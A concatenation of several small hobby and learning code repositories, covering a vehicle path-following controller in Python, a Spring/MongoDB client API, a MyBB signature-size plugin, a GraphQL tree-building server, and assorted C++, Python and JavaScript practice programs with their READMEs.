Returns the 3rd waypoint's y position
waypoints[5]:
Returns [x5, y5, v5] (6th waypoint)
Controller Output Variables:
throttle_output : Throttle output (0 to 1)
steer_output : Steer output (-1.22 rad to 1.22 rad)
brake_output : Brake output (0 to 1)
"""
######################################################
######################################################
# MODULE 7: IMPLEMENTATION OF LONGITUDINAL CONTROLLER HERE
self.vars.x_difference = x-waypoints[self.vars.i][0]
self.vars.y_difference = y-waypoints[self.vars.i][1]
self.vars.distance = np.sqrt(np.square(self.vars.x_difference)+np.square(self.vars.y_difference))
self.vars.acceleration = (np.sqrt(np.square(waypoints[self.vars.i+3][0]-waypoints[self.vars.i+2][0])+np.square(waypoints[self.vars.i+3][1]-waypoints[self.vars.i+2][1]))*(waypoints[self.vars.i+3][2]-waypoints[self.vars.i+3][2])/(waypoints[self.vars.i+3][2]+waypoints[self.vars.i+2][2]))
#if (v-v_desired <= 0):
throttle_output = np.minimum(np.maximum(((v_desired-v)*3.1 - (v-self.vars.v_previous)*6 + (v_desired - self.vars.v_req_previous)*12 + self.vars.distance*0.08 + 12000*self.vars.acceleration + 301000*(self.vars.acceleration-self.vars.acceleration_previous)),0),1)
if (v-v_desired <= 0):
if (v == 0):
#throttle_output = 0.5
#throttle_output = np.minimum(np.maximum((1+(v-v_desired)*0.0005 - (v-self.vars.v_previous)*5 + self.vars.distance*0.0001),0),1)
#throttle_output = np.minimum(np.maximum(((v_desired-v)*0.9 - (v-self.vars.v_previous)*5 + (v_desired - self.vars.v_req_previous)*6 + self.vars.distance*0.2),0),1)
#else:
throttle_output = 1
else:
#throttle_output = np.minimum(np.maximum(((v_desired-v)*0.9 - (v-self.vars.v_previous)*5 + (v_desired - self.vars.v_req_previous)*6 + self.vars.distance*0.1),0),1)
brake_output = np.minimum(np.maximum((-0.1*((v_desired-v)*0.9 - (v-self.vars.v_previous)*5 + (v_desired - self.vars.v_req_previous)*6 + self.vars.distance*0.1)),0),1)
######################################################
######################################################
######################################################
######################################################
# MODULE 7: IMPLEMENTATION OF LATERAL CONTROLLER HERE
if (y-self.vars.y_previous > 0):
self.vars.fangle = np.arctan((x-self.vars.x_previous)/(y-self.vars.y_previous))
elif (y-self.vars.y_previous == 0):
if (x > self.vars.x_previous):
self.vars.fangle = np.pi/2
elif (x < self.vars.x_previous):
self.vars.fangle = -np.pi/2
else:
self.vars.fangle = 0
else:
self.vars.fangle = np.arctan((x-self.vars.x_previous)/(y-self.vars.y_previous)) + np.pi
if (waypoints[self.vars.i+2][1]-y > 0):
self.vars.fanglea = np.arctan((waypoints[self.vars.i+2][0]-x)/(waypoints[self.vars.i+2][1]-y))
elif (waypoints[self.vars.i+2][1]-y == 0):
if (waypoints[self.vars.i+2][0]-x > 0):
self.vars.fanglea = np.pi/2
elif (waypoints[self.vars.i+2][0]-x < 0):
self.vars.fanglea = -np.pi/2
else:
self.vars.fanglea = 0
else:
self.vars.fanglea = np.arctan((waypoints[self.vars.i+2][0]-x)/(waypoints[self.vars.i+2][1]-y)) + np.pi
if (waypoints[self.vars.i+4][1]-y > 0):
self.vars.fangleb = np.arctan((waypoints[self.vars.i+4][0]-x)/(waypoints[self.vars.i+4][1]-y))
elif (waypoints[self.vars.i+4][1]-y == 0):
if (waypoints[self.vars.i+4][0]-x > 0):
self.vars.fangleb = np.pi/2
elif (waypoints[self.vars.i+4][0]-x < 0):
self.vars.fangleb = -np.pi/2
else:
self.vars.fangleb = 0
else:
self.vars.fangleb = np.arctan((waypoints[self.vars.i+4][0]-x)/(waypoints[self.vars.i+4][1]-y)) + np.pi
if (waypoints[self.vars.i+5][1]-waypoints[self.vars.i+4][1] > 0):
self.vars.fanglec = np.arctan((waypoints[self.vars.i+5][0]-waypoints[self.vars.i+4][0])/(waypoints[self.vars.i+5][1]-waypoints[self.vars.i+4][1]))
elif (waypoints[self.vars.i+5][1]-waypoints[self.vars.i+4][1] == 0):
if (waypoints[self.vars.i+5][0]-waypoints[self.vars.i+4][0] > 0):
self.vars.fanglec = np.pi/2
elif (waypoints[self.vars.i+5][0]-waypoints[self.vars.i+4][0] < 0):
self.vars.fanglec = -np.pi/2
else:
self.vars.fanglec = 0
else:
self.vars.fanglec = np.arctan((waypoints[self.vars.i+5][0]-waypoints[self.vars.i+4][0])/(waypoints[self.vars.i+5][1]-waypoints[self.vars.i+4][1])) + np.pi
if (waypoints[self.vars.i+1][1]-waypoints[self.vars.i][1] > 0):
self.vars.fangled = np.arctan((waypoints[self.vars.i+1][0]-waypoints[self.vars.i][0])/(waypoints[self.vars.i+1][1]-waypoints[self.vars.i][1]))
elif (waypoints[self.vars.i+1][1]-waypoints[self.vars.i][1] == 0):
if (waypoints[self.vars.i+1][0]-waypoints[self.vars.i][0] > 0):
self.vars.fangled = np.pi/2
elif (waypoints[self.vars.i+1][0]-waypoints[self.vars.i][0] < 0):
self.vars.fangled = -np.pi/2
else:
self.vars.fangled = 0
else:
self.vars.fangled = np.arctan((waypoints[self.vars.i+1][0]-waypoints[self.vars.i][0])/(waypoints[self.vars.i+1][1]-waypoints[self.vars.i][1])) + np.pi
self.vars.k_1 = 0.0022
self.vars.k_2 = 0.038
self.vars.k_3 = 0.24
self.vars.k_4 = 0.57
self.vars.diff_1 = self.vars.fangle-self.vars.fanglea
self.vars.diff_2 = self.vars.fangle-self.vars.fangleb
self.vars.diff_3 = self.vars.fangle-self.vars.fanglec
self.vars.diff_4 = self.vars.fangle-self.vars.fangled
if (self.vars.fangle-self.vars.fanglea > np.pi):
self.vars.diff_1 = -(2*np.pi - self.vars.fangle + self.vars.fanglea)
elif (self.vars.fangle-self.vars.fanglea < -np.pi):
self.vars.diff_1 = self.vars.fangle - self.vars.fanglea + 2*np.pi
if (self.vars.fangle-self.vars.fangleb > np.pi):
self.vars.diff_2 = -(2*np.pi - self.vars.fangle + self.vars.fangleb)
elif (self.vars.fangle - self.vars.fangleb < -np.pi):
self.vars.diff_2 = self.vars.fangle - self.vars.fangleb + 2*np.pi
if (self.vars.fangle-self.vars.fanglec > np.pi):
self.vars.diff_3 = -(2*np.pi - self.vars.fangle + self.vars.fanglec)
elif (self.vars.fangle-self.vars.fanglec < -np.pi):
self.vars.diff_3 = self.vars.fangle - self.vars.fanglec + 2*np.pi
if (self.vars.fangle -self.vars.fangled > np.pi):
self.vars.diff_4 = -(2*np.pi - self.vars.fangle + self.vars.fangled)
elif (self.vars.fangle-self.vars.fangled < -np.pi):
self.vars.diff_4 = self.vars.fangle - self.vars.fangled + 2*np.pi
self.vars.steer_put = (self.vars.k_1*(self.vars.diff_1) + self.vars.k_2*(self.vars.diff_2) + self.vars.k_3*(self.vars.diff_3) + self.vars.k_4*(self.vars.diff_4))
self.vars.diffangle = self.vars.fangle-self.vars.steer_previous
steer_output = self.vars.steer_put + (self.vars.prev_diffangle - self.vars.diffangle)*3
if (steer_output >= 1.22):
steer_output = 1.22
elif (steer_output <= -1.22):
steer_output = -1.22
######################################################
######################################################
######################################################
# SET CONTROLS OUTPUT
######################################################
self.set_throttle(throttle_output) # in percent (0 to 1)
self.set_steer(steer_output) # in rad (-1.22 to 1.22)
self.set_brake(brake_output) # in percent (0 to 1)
######################################################
######################################################
# MODULE 7: STORE OLD VALUES HERE
self.vars.v_previous = v
self.vars.y_previous = y
self.vars.x_previous = x
self.vars.v_req_previous = v_desired
self.vars.k = self.vars.i
self.vars.acceleration_previous = self.vars.acceleration
for self.vars.j in range(10):
if self.vars.distance >= np.sqrt(np.square(x-waypoints[self.vars.i+self.vars.j-5][0])+np.square(y-waypoints[self.vars.i+self.vars.j-5][1])):
self.vars.k = self.vars.i + self.vars.j-5
self.vars.i = self.vars.k
self.vars.steer_previous = self.vars.fangle
self.vars.prev_diffangle = self.vars.diffangle
######################################################
######################################################
<file_sep># Self-Drive-controller
Given a few inputs from sensors and given waypoints, the following controller will make the vehicle follow the trajectory. (In progress)
Controller info in controller2d.py folder (Only controller personally coded by me)
|
b092caba1798666320691331551f53e78a192227
|
[
"Markdown",
"Python"
] | 2
|
Python
|
Rajdeep-Thakur/Self-Drive-controller
|
f256e627142a1aa52c4b4f31b1ca5fb232621195
|
b60aaa52978fdc9d157447ae28fb38b911dfe8e7
|
refs/heads/main
|
<repo_name>gabrielromagnoli1987/intercorp_challange<file_sep>/src/main/java/com/example/intercorp/controllers/ClientController.java
package com.example.intercorp.controllers;
import com.example.intercorp.dto.ClientDetailDto;
import com.example.intercorp.dto.ClientDto;
import com.example.intercorp.dto.KpiClientsDto;
import com.example.intercorp.models.Client;
import com.example.intercorp.services.ClientService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
@RestController
public class ClientController {
private final ClientService clientService;
@Autowired
public ClientController(ClientService clientService) {
this.clientService = clientService;
}
@PostMapping("/clients")
public Mono<Client> createClient(@RequestBody ClientDto clientDto) {
return this.clientService.createClient(clientDto);
}
@GetMapping("/clients")
public Flux<ClientDetailDto> getClients() {
return this.clientService.getClients();
}
@GetMapping("/kpi-clients")
public Mono<KpiClientsDto> getKpiClients() {
return this.clientService.getKpiClients();
}
}
<file_sep>/docker-compose.yml
version: '3.3'
services:
mongo:
container_name: mongo
image: mongo
restart: always
environment:
MONGO_INITDB_DATABASE: "${DATABASE_NAME}"
volumes:
- mongodb_data_container:/data/db
ports:
# <Port exposed> : < Mongodb Port running inside container>
- '27017:27017'
expose:
# Opens port 27017 on the container
- '27017'
intercorp_app:
container_name: intercorp_app
restart: always
build: .
image: intercorp_app
working_dir: /app
volumes:
#- ./target:/app/target
- ./wait-for-it.sh:/app/wait-for-it.sh
ports:
- "8080:8080"
- "5005:5005"
expose:
- "8080"
# debug enabled
command: bash -c "chmod +x ./wait-for-it.sh && ./wait-for-it.sh mongo:27017 && java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005 -jar /app/target/intercorp-0.0.1-SNAPSHOT.jar"
# debug disabled
# command: bash -c "chmod +x ./wait-for-it.sh && ./wait-for-it.sh mongo:27017 && java -jar /app/target/intercorp-0.0.1-SNAPSHOT.jar"
depends_on:
- mongo
volumes:
mongodb_data_container:<file_sep>/src/main/java/com/example/intercorp/models/Client.java
package com.example.intercorp.models;
import org.springframework.data.annotation.Id;
import org.springframework.data.mongodb.core.mapping.Document;
import java.time.LocalDate;
import java.time.Period;
@Document
public class Client {
@Id
private String id;
private String name;
private String lastname;
private LocalDate birthDate;
public Client() {
}
public Client(String name, String lastname, LocalDate birthDate) {
this.name = name;
this.lastname = lastname;
this.birthDate = birthDate;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getLastname() {
return lastname;
}
public void setLastname(String lastname) {
this.lastname = lastname;
}
public LocalDate getBirthDate() {
return birthDate;
}
public void setBirthDate(LocalDate birthDate) {
this.birthDate = birthDate;
}
public Period getAge() {
// actual date - birthdate = actual age
return Period.between(this.getBirthDate(), LocalDate.now());
}
}
<file_sep>/src/main/resources/application.properties
spring.data.mongodb.repositories.enabled=true
spring.data.mongodb.database=intercorp_challange
spring.data.mongodb.host=mongo
spring.data.mongodb.port=27017
averageAgeOfDeath=90<file_sep>/README.md
# Intercorp challange
**Requirements for building and running the project:**
1. Install [docker engine](https://docs.docker.com/engine/install)
2. Install [docker-compose](https://docs.docker.com/compose/install/)
3. Open a terminal and execute the following commands:\
3.1 `https://github.com/gabrielromagnoli1987/intercorp_challange.git` \
3.2 `cd intercorp_challange` to move to the downloaded folder \
3.3 `docker-compose up` This command will download a docker maven image
(this image will download the dependencies of the application and build the app),
an amazoncorretto:11 image that will run the application.jar,
a mongodb image for our database, and then it will run the 2 containers (the java 11 one and the mongodb one) connected on the same network.
Testing the endpoints
Import the file *intercorp.postman_collection.json* into Postman and make the requests from there. \
<file_sep>/Dockerfile
FROM maven:3.6-jdk-11 AS builder
WORKDIR /app
COPY pom.xml .
RUN mvn -e -B dependency:resolve
COPY src ./src
RUN mvn -e -B package
FROM amazoncorretto:11
COPY --from=builder /app/target/intercorp-0.0.1-SNAPSHOT.jar /app/target/
|
350640260c78f298ac21af4e93d3c0e634000d0f
|
[
"YAML",
"Markdown",
"INI",
"Java",
"Dockerfile"
] | 6
|
Java
|
gabrielromagnoli1987/intercorp_challange
|
c126b292b9b0fd1ba782b58069874c2db9b49958
|
14528f4fd88a7693bd16c4a887036dc1dd185d8a
|
refs/heads/master
|
<repo_name>Jase7/33bits<file_sep>/IgnoreThreads/README.MD
This is a simple script-plugin for the board http://33bits.gamestribune.com/foro/
I use the browser's localStorage function to allocate the threads
<file_sep>/limitarFirma/limitarFirma.php
<?php
if(!defined("IN_MYBB"))
{
die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined.");
}
// Información del plugin
function limitarFirma_info ()
{
return array(
"name" => "limitarFirma",
"description" => "Establece unos mínimos de peso y tamaño para la firma",
"website" => "limitarFirma",
"author" => "Jase",
"authorsite" => "limitarFirma",
"version" => "0.1",
"guid" => "limitarFirma",
"compatibility" => "*"
);
}
$plugins->add_hook('usercp_start', 'signsize');
function signsize() {
global $mybb, $error;
preg_match_all("/\[img(.*?)\](.*?)\[\/img\]/i", $mybb->input['signature'], $matches, PREG_SET_ORDER);
$kbsizetot = 0;
foreach ($matches as $img) {
$kbsize = strlen(@file_get_contents($img[2]));
$kbsizetot += $kbsize;
}
if (($kbsizetot > 350000) && ($mybb->input['action'] == "do_editsig")) {
$error = inline_error("La imagen pesa más de 350kb. Por favor, reduce su tamaño.");
}
foreach ($matches as $img) {
$tamaño = getimagesize($img[2]);
$anchura = $tamaño[0];
$altura = $tamaño[1];
}
if (($anchura > 501 || $altura > 151) && ($mybb->input['action'] == "do_editsig")) {
$error = inline_error("El tamaño de la imagen no es el adecuado.\nAnchura máxima 500px y altura máxima 150px");
}
}
?>
<file_sep>/README.md
# 33bits
Some files I made for the 33bits board http://33bits.gamestribune.com/foro/
Both MyBB and SMF
|
4d494b2e701cf23a8c548bae5fa1717e215febd6
|
[
"Markdown",
"PHP"
] | 3
|
Markdown
|
Jase7/33bits
|
4e622f336e59a981ffe3db54260f231b6324962e
|
c8282a7e0d293a6f86a8e67925e9cdc5d2bb3846
|
refs/heads/master
|
<file_sep>### Dataset
I used a PostgreSQL database.
The database structure can be found in `./database/schema.sql`. There's just one table with a couple of columns, which represents the ImageNet tree structure using MPTT. It's a pretty common algorithm for storing hierarchial data structures in a relational database, and I choosed this interpretation because I used it in my previous project at Edvisor. The biggest advantage of this representation is it's extremely cheap selection of any sub-tree. On the other hand, the INSERT/UPDATE operations are a bit more expensive, since the MPTT index has to be rebuilt, and all the tuples must be updated. So it's not very suitable for databases with MVCC implementation like the one in PostgreSQL.
The database seed is stored in `./database/data.sql`.
### Frontend
You can start the frontend application with `npm run start-client`, and it's accessible on `http://localhost:8080/`. I used:
- Webpack
- Typescript (This is a must. Type safety is extremely important in software development)
- ReactJS
- RamdaJS (Some people love it, some people hate it. I think it's needed when building a fully functional & pure code)
- Apollo client (GQL queries -> see #Backend section)
..and a couple more libraries.
I haven't used tools like Redux, because it's not needed for such a small application.
### Backend
You can start the backend application with `npm run start-server`, and it's accessible on `http://localhost:4000/`. The original assigmnent required a single http-response with a predefined JSON format. I'm not sure if these old-style typeless interfacess makes sense today, so I decided to use a type-safe GraphQL protocol. There's 1 GQL query, which returns a single text field, where the JSON is stringified. It doesn't really make sense in current implementation, but the GQL schema can be easily extended.
The backend api use no environment variables, so it may require some manual configuration directly in the sourcecode (`./server.js` -> Sequelize connector definition)
Sice I used MPTT, the complexity of the `build-tree` algorithm is O(n).
Tests can be ran with `npm test` command (there're just a couple demonstrational tests).
<file_sep>CREATE TABLE operam.image_net_node (
id serial NOT NULL,
"name" varchar NOT NULL,
"size" int4 NULL,
"left" int4 NOT NULL,
"right" int4 NOT NULL,
"nameNested" varchar NOT NULL,
CONSTRAINT image_net_node_pk PRIMARY KEY (id)
);
CREATE INDEX image_net_node_left_idx ON operam.image_net_node USING btree ("left") ;
CREATE INDEX image_net_node_right_left_subtract_idx ON operam.image_net_node USING btree ((("right" - "left"))) ;
<file_sep>const express = require('express')
const { buildSchema } = require('graphql')
const graphqlHTTP = require('express-graphql')
const cors = require('cors')
const Sequelize = require('sequelize')
// Search-query definition
// Note: There's a special `right - left` index defined on the database
const SQL_SEARCH_NODES = `
(
SELECT
*
FROM
operam.image_net_node
WHERE
"right" - "left" > 1
ORDER BY
"left" ASC
)
UNION ALL
(
SELECT
*
FROM
operam.image_net_node
WHERE
"right" - "left" = 1
AND "name" ILIKE $1
ORDER BY
"left" ASC
)
ORDER BY
"left" ASC
`
/*
* Sequelize instantiation
* TODO: Use environment variables
*/
const sequelize = new Sequelize('pali', 'root', 'root', {
host: 'localhost',
dialect: 'postgres',
schema: 'operam',
define: {
freezeTableName: true,
},
pool: {
max: 5,
min: 0,
acquire: 30000,
idle: 10000
}
});
/*
* Relation(s) definition
* TODO: Move to a separate file
*/
const ImageNetNode = sequelize.define('image_net_node', {
id: {
type: Sequelize.NUMERIC,
primaryKey: true
},
name: {
type: Sequelize.STRING
},
nameNested: {
type: Sequelize.STRING
},
left: {
type: Sequelize.NUMERIC
},
right: {
type: Sequelize.NUMERIC
},
size: {
type: Sequelize.NUMERIC
}
}, {
timestamps: false
});
/*
* Helper function(s)
* TODO: Move to a separate file
*/
function cleanResponseTree(tree) {
return {
id: tree.id,
name: tree.name,
nameNested: tree.nameNested,
size: tree.size,
children: tree.children.map(cleanResponseTree)
}
}
/*
* GraphQL
*/
const schema = buildSchema(`
type Query {
treeFlatJson(search: String): String
}
`)
// Root resolver
const root = {
treeFlatJson: async params => {
const searchValue = params.search
let tree = undefined
let lastNode = undefined
// Fetch data
const nodes = searchValue
? sequelize.query(SQL_SEARCH_NODES, {type: sequelize.QueryTypes.SELECT, bind: ['%' + searchValue + '%']})
: ImageNetNode.findAll({order: [['left', 'ASC']]})
// Build a tree (transformation from flat structure to a tree)
return nodes.then(nodes => {
nodes.forEach(node => {
node = node.dataValues || node
// Top-level node
if (!tree) {
tree = {
children: [],
...node
}
lastNode = tree
return
}
// Go back to a higher level
if (node.left > lastNode.right) {
while (node.left > lastNode.right) {
lastNode = lastNode.parent
}
}
// Add node into the tree
node.parent = lastNode
node.children = []
lastNode.children.push(node)
lastNode = node
})
// Return tree
return JSON.stringify(cleanResponseTree(tree))
})
}
}
/*
* ExpressJS
*/
const app = express()
app.use(cors())
app.use('/graphql', graphqlHTTP({
schema: schema,
rootValue: root,
graphiql: true,
}))
app.listen(4000, () => console.log('Listening on localhost:4000')) // TODO: Define port as an environment variable
|
50d2882bd179b09153411a14919aa98bd36b4c05
|
[
"Markdown",
"SQL",
"JavaScript"
] | 3
|
Markdown
|
green2k/pali-operam
|
6de006a50d85e384d0855be40b9daf30b0aaaaad
|
9f5bc9cc9b406bd074022e6a5848060363aca593
|
refs/heads/master
|
<repo_name>ProkhorZ/training<file_sep>/JavaScript/README.md
Between 2000 and 2002, I wrote a few scripts in unstandardized JavaScript as a hobby. **All the descriptions and comments are in Dutch.** These are standalone scripts that weren't integrated into the rest of my website.
* **kleurenkiezer.html** is a simple color picker for 'websafe' colors that displays an HTML color code when you click on the color.
* **spinscript.html** allows anyone to generate a web page with simple design elements like headers, images, links and background images or background colors. It was clumsy and required a lot of explanation, but at the time it was magic to let my 7 and 15 year old nephews make their own webpages.
* **top10.html** is a countdown script which shows, as an example, a list of 10 terrible Christmas presents, which I compiled from various Internet sources. I also made a much funnier version about 'Reassuring sayings from project managers', which I won't post here since it was about my job.
* **versifex.html** is a poetry generator that focuses on testing rhyming schemes. It's meant as a tool for poets. It would actually be easier to generate realistic poetry from a word corpus. This one generates nonsense words from scratch that sound like Dutch - but a bit more emphatic. I used Versifex to fill up my [Steem blog](https://steemit.com/@edb) with nonsense. I might update this one. TODO 1: add more than 4 different rhymes. TODO 2: generalize it a little, so that it could be used for English or German too.
Here's an example of a Versifex poem:
van en al rat waunen benondaar zolroopla
gas erg zam moomon bikgebeet ninman
hijeen es jop voechik derverglaas slekdedin
kim zij nok beenin nirgezoon domzuip
nen wel vot diesip bokafmoon dirdan
blet uit slat sleetep watberaam repsbledin
oper ik pran goonem noffaat sliksloopla
odriem a dak meenen ramsopneit derbuip
iduils eens slap suinik dunsonbien mithoopla
pun ik glep reekon hesontwaats vichwuip
brot ik doks wautit snotvervaat zefman
vet ooit kler nuunim drutverseuk zemsvedin
edaan die ven heemep koninploots bepsnan
doorde at het veuner spechhermaaks spelnedin
<file_sep>/C++/matrix01.cpp
#include<iostream>
using namespace std;
// Editing a program posted on Reddit
// "[C++] I'd like to write out an n*m matrix where the border is 0 and the inside is 1, but only writes garbage values."
// https://www.reddit.com/r/learnprogramming/comments/bkn3jq/c_id_like_to_write_out_an_nm_matrix_where_the/
// Error 1: == used in assignment
// Error 2: highest index is not n but n-1
// Compiled in WSL Ubuntu: g++ -o matrix01 matrix01.cpp
// Run: ./matrix01
int main()
{
int n, m;
cout<<"n pls"<<endl;
cin>>n;
cout<<"m pls"<<endl;
cin>>m;
int mtr[n][m];
for(int i=0; i<n; i++)
{
for(int j=0; j<m; j++)
{
if(i!=0 && i!=n-1 && j!=0 && j!=m-1)
{
mtr[i][j]=1;
}
else
{
mtr[i][j]=0;
}
cout<<mtr[i][j]<<" ";
}
cout<<endl;
}
return 0;
}
<file_sep>/Python/unzipdel.py
# Extract all files from all zip files in a folder, then delete those zip files
# Doesn't check whether the file with .zip extension is actually a ZIP archive.
# Doesn't check for collisions, will overwrite files with duplicate names when they're in the same destination folder.
import zipfile, os
from os import listdir
from os.path import isfile, join
# os.path is a separate module, not part of os
# Importing specific functions, so we don't need to use a prefix
# Unusual variable names (directoire, onlyfiles, rits) were chosen to avoid using reserved names.
# Not using runtime input, to avoid accidentally deleting archives that need to be saved.
# Concatenating path and filename with `join(directoire, o)` is necessary in order to edit a folder other than the one this script is saved in.
directoire = "C:/Users/Edwin/Test"
onlyfiles = [f for f in listdir(directoire) if isfile(join(directoire, f))]
for o in onlyfiles:
if o.endswith(".zip"):
rits = zipfile.ZipFile(join(directoire, o), 'r')
rits.extractall(directoire)
print(o)
rits.close()
os.remove(join(directoire, o))
<file_sep>/C++/compare-strings.cpp
#include <iostream>
#include <string.h>
// using namespace std;
using std::cin;
using std::cout;
// Does strcmp return a specific number when it's <>0?
// Yes!
// Fatal error: iostream.h - no such file or directory
// ISO C++ standard headers do not have any extensions unless they are compiler-specific or user-defined
// More errors for the oneliner: cout << strcmp("Veenendaal", "Venlo");
// Solutions: https://stackoverflow.com/questions/15185801/cout-was-not-declared-in-this-scope
// I thought it was declared in iostream, but that was not enough
// Read why using standard namespace is not a good idea for beginners: https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice
// Collisions! The std namespace has tons of identifiers, many of which are very common ones (think list, sort, string, iterator, etc.) which are very likely to appear in other code, too.
// It's especially bad in header files
// Changed WSL background color to read error messages (can't use black background for vim, can't use white background for gcc)
// Output: -1 // This was wrong
// Edited to use input
// Difference between "c" and "b": 1
// Difference between "Nederland" and "Utrecht": -7
// Difference between "Sch" and "Aca": 18
// Difference between "Veenendaal" and "Venlo": -9
// Difference between "A" and "a": -32
// Difference between "Programma" and "Programm": 97
// Difference between "1533" and "1532": 1
// Difference between "133" and "13": 51
// Difference between "1542" and "1521": 2
// Difference between "A" and "1": 16
// See ASCII table
int main()
{
int verschil = 0;
char string1[64], string2[64];
cout << "Enter first string: ";
cin >> string1;
cout << "Enter second string: ";
cin >> string2;
verschil = strcmp(string1, string2);
cout << "The difference is: " << verschil;
return 0;
}
<file_sep>/README.md
Personal practice programs and scripts in several programming languages.
Warning: some code may be based on obsolete sources.
Editor: Notepad++.
Compiler: gcc.
From the C++ folder: listen to the [output of FizzBuzz](https://soundcloud.com/edwin-den-boer/fizzbuzz) on my Soundcloud.
Check out my [experience](https://github.com/ProkhorZ/experience) repo for more information about my programming experience.
<file_sep>/Python/filelist-shuffled.py
import os
import random
# My first python program
# Create a list of image files from multiple directories and subdirectories
# Shuffle the list randomly before you print it to a text file
# Limitations:
# Paths are defined for Windows
# Tested in Python 3.5.2 and 3.6.4
# Instead of matching a substring, I should use pathlib or splitext
# Could the if-statement be more compact?
# Could the path be passed to a function?
# There were errors that stopped execution at filenames with Russian or Polish letters
# This code skips extensions in upper case, but I should run another script to change them to lower case anyway
# In production, print(" ", f) adds two spaces before every filename in order to log which images I used
path = 'C:\\Data\\Images\\Memes\\'
files = []
def listfunction():
# r=root, d=directories, f = files
for r, d, f in os.walk(path):
for file in f:
if '.jpg' in file or '.png' in file or '.gif' in file or '.jpeg' in file:
files.append(os.path.join(r, file))
listfunction()
path = 'C:\\Data\\Images\\Cringe\\'
listfunction()
random.shuffle(files)
for f in files:
print(f)
<file_sep>/Python/guess.py
#! python3
## Linux version: #! usr/bin/python3
# Inspired by the number guessing game in Al Sweigart's course Automate the Boring Stuff with Python, but more fun than the example in the course
import random, time
secretNumber = random.randint(1, 25) # This goes from 1 to 25
hinted = False
unlucky = False
guess = 0
replymode = 0
strinput = ""
# Word list for converting words into numbers
num_en = ["zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", "twenty", "twenty-one", "twenty-two", "twenty-three", "twenty-four", "twenty-five"] # Added zero so you can count from 1
# Use a list of Booleans to keep track of all numbers guessed
guessedbefore = [False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] # Added a Boolean for zero so you can count from 1
# Put guess input in a function + run the function once before the big loop
def guessinput():
global guess, strinput, num_en, replymode, guessedbefore
if guess > 0 and guess < 26:
guessedbefore[guess] = True
replymode = 4
strinput = input()
# Convert numbers entered as words
if len(strinput) > 2: # Quickly filter out regular digits to avoid going through this loop every time
for i in range(1, 26): # This goes from 1 to 25
if strinput == num_en[i].lower():
strinput = str(i)
break
# Exception for non-numerical strings - counted as a guess
try:
guess = int(strinput)
except:
print("You didn't enter a number.") # Can't say "Try again!" when it might be the last attempt
guess = random.randint(26, 9999) # Make it an invalid number while avoiding repetition
replymode = 5
print("I\'m thinking of a number between 1 and 25.")
print("Can you guess my number?")
guessinput()
# TODO: "Play again?" option instead of rerunning the script
# TODO: Change your mind occasionally, doubling or halving the number if possible
# TODO: Separate script to keep track of scores (fun twist: scores are multiplied, and they might be negative)
# Ask the player to guess 1+6=7 times
for guessesTaken in range(1, 8): # This goes from 1 to 7, while the last round won't be completed and one guess was made before the loop
# Skip if non-numerical string was entered
if replymode != 5:
replymode = random.randint(1, 3) # Three different response types, replies skipped when > 3
# Check for succesful guess
if guess == secretNumber:
if guessesTaken == 1:
print("What is this magic? You only needed 1 guess!")
elif guessesTaken < 4:
print("You\'re a genius! You only needed " + str(guessesTaken) + " guesses.")
elif guessesTaken < 6:
print("Excellent! You guessed my number in " + str(guessesTaken) + " tries.")
else:
print("OK, you got there eventually, on the " + str(guessesTaken) + "th attempt.")
break
elif guessesTaken == 7:
print("You failed! I was thinking of the number " + str(secretNumber) + ".")
break
# Replies and hints for failed guesses
elif guess == 42 or guess == 69 or guess == 420 or guess == 666:
print("This is a mathematical excercise. Please take this seriously.")
elif (guess < 1 or guess > 25) and replymode < 4:
print("I said a number between 1 and 25.")
elif replymode != 5 and guessedbefore[guess] == True:
print("You already guessed that, idiot!")
elif (guess == 4 or guess == 13) and unlucky == False:
print("You guessed an unlucky number, you\'re not getting a hint.")
unlucky = True # Do give a hint for the second unlucky number guessed
elif replymode == 1 or (replymode == 3 and hinted == True):
if guess < secretNumber:
print("Guess higher.")
elif guess > secretNumber:
print("Guess lower.")
elif replymode == 2:
if abs(guess - secretNumber) < 5:
print("You\'re close.")
elif abs(guess - secretNumber) < 10:
print("You\'re not close.")
else:
print("You\'re far off!")
elif replymode == 3 and hinted == False: # Only hint odd/even once
hinted = True
if secretNumber % 2 == 0:
print("It\'s an even number.")
else:
print("It\'s an odd number.")
guessinput() # Function call at the end because you want a hint to be followed by input
## Post an inspiring quote about knowledge or failure at the end, as a reward for guessing the number.
## TODO LATER: to make it easier to extend the quote collection, convert it from a regular text file.
inspiration = [
"Any observed statistical regularity will tend to collapse once pressure is placed upon it for control purposes.\n– <NAME>",
"One should always play fair when one has the winning cards.\n– <NAME>",
"It is better to stir up a question without deciding it, than to decide it without stirring it up.\n– <NAME>",
"The desire of knowledge, like the thirst of riches, increases ever with the acquisition of it.\n– <NAME>",
"If you torture the data long enough, it will confess.\n– <NAME>",
"There are many things of which a wise man might wish to be ignorant.\n– <NAME>",
"On two occasions, I have been asked, \'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?\' I am not able to rightly apprehend the kind of confusion of ideas that could provoke such a question.\n– <NAME>",
"Honest criticism is hard to take, particularly from a relative, a friend, an acquaintance, or a stranger.\n– <NAME>",
"Knowledge comes, but wisdom lingers.\n– <NAME>",
"Where is the wisdom we have lost in knowledge? Where is the knowledge we have lost in information?\n– <NAME>",
"A computer lets you make more mistakes faster than any other invention, with the possible exceptions of handguns and Tequila.\n– <NAME>",
"Good judgement comes from experience, and experience comes from bad judgement.\n– <NAME>",
"Technology offers us a unique opportunity, though rarely welcome, to practice patience.\n– <NAME>",
"We build our computers the way we build our cities — over time, without a plan, on top of ruins.\n– <NAME>",
"If the automobile had followed the same development as the computer, a Rolls Royce would today cost $100, get a million miles per gallon, and explode once a year killing everyone inside.\n– <NAME>",
